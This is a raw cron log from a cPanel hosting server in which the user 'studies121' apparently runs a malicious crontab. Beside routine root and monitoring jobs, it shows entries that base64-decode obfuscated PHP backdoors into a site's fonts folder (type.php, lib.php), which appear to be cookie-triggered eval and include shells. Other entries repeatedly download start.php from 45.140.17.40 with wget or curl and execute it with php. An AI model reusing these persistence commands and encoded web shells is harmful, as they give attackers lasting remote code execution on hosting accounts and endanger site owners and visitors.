Sep  8 08:14:01 ip-184-168-122-23 CROND[11889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:14:01 ip-184-168-122-23 CROND[11890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:15:01 ip-184-168-122-23 CROND[12029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:15:01 ip-184-168-122-23 CROND[12034]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:15:01 ip-184-168-122-23 CROND[12035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:15:01 ip-184-168-122-23 CROND[12037]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 08:15:01 ip-184-168-122-23 CROND[12040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:15:01 ip-184-168-122-23 CROND[12038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:15:01 ip-184-168-122-23 CROND[12041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:16:01 ip-184-168-122-23 CROND[12143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:16:01 ip-184-168-122-23 CROND[12146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:16:01 ip-184-168-122-23 CROND[12147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:16:01 ip-184-168-122-23 CROND[12145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:16:01 ip-184-168-122-23 CROND[12148]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:16:01 ip-184-168-122-23 CROND[12149]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 08:17:01 ip-184-168-122-23 CROND[12352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:17:01 ip-184-168-122-23 CROND[12353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:17:01 ip-184-168-122-23 CROND[12354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:17:01 ip-184-168-122-23 CROND[12355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:18:01 ip-184-168-122-23 CROND[12449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:18:01 ip-184-168-122-23 CROND[12450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:18:01 ip-184-168-122-23 CROND[12452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:18:01 ip-184-168-122-23 CROND[12451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:18:01 ip-184-168-122-23 CROND[12453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:19:01 ip-184-168-122-23 CROND[12535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:19:01 ip-184-168-122-23 CROND[12537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:19:01 ip-184-168-122-23 CROND[12539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:19:01 ip-184-168-122-23 CROND[12541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:20:01 ip-184-168-122-23 CROND[12733]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:20:01 ip-184-168-122-23 CROND[12735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:20:01 ip-184-168-122-23 CROND[12737]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 08:20:01 ip-184-168-122-23 CROND[12738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:20:01 ip-184-168-122-23 CROND[12739]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:20:01 ip-184-168-122-23 CROND[12741]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 08:20:01 ip-184-168-122-23 CROND[12740]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:20:01 ip-184-168-122-23 CROND[12742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:20:01 ip-184-168-122-23 CROND[12743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:21:01 ip-184-168-122-23 CROND[12834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:21:01 ip-184-168-122-23 CROND[12835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:21:01 ip-184-168-122-23 CROND[12836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:21:01 ip-184-168-122-23 CROND[12838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:22:01 ip-184-168-122-23 CROND[13087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:22:01 ip-184-168-122-23 CROND[13090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:22:01 ip-184-168-122-23 CROND[13091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:22:01 ip-184-168-122-23 CROND[13089]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:22:01 ip-184-168-122-23 CROND[13092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:23:01 ip-184-168-122-23 CROND[13183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:23:01 ip-184-168-122-23 CROND[13185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:23:01 ip-184-168-122-23 CROND[13186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:23:01 ip-184-168-122-23 CROND[13187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:24:01 ip-184-168-122-23 CROND[13275]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:24:01 ip-184-168-122-23 CROND[13277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:24:01 ip-184-168-122-23 CROND[13278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:24:01 ip-184-168-122-23 CROND[13279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:24:01 ip-184-168-122-23 CROND[13280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:25:01 ip-184-168-122-23 CROND[13367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:25:01 ip-184-168-122-23 CROND[13369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:25:01 ip-184-168-122-23 CROND[13370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:25:01 ip-184-168-122-23 CROND[13372]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:25:01 ip-184-168-122-23 CROND[13374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:25:01 ip-184-168-122-23 CROND[13375]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:25:01 ip-184-168-122-23 CROND[13373]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 08:26:01 ip-184-168-122-23 CROND[13465]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  8 08:26:01 ip-184-168-122-23 CROND[13472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
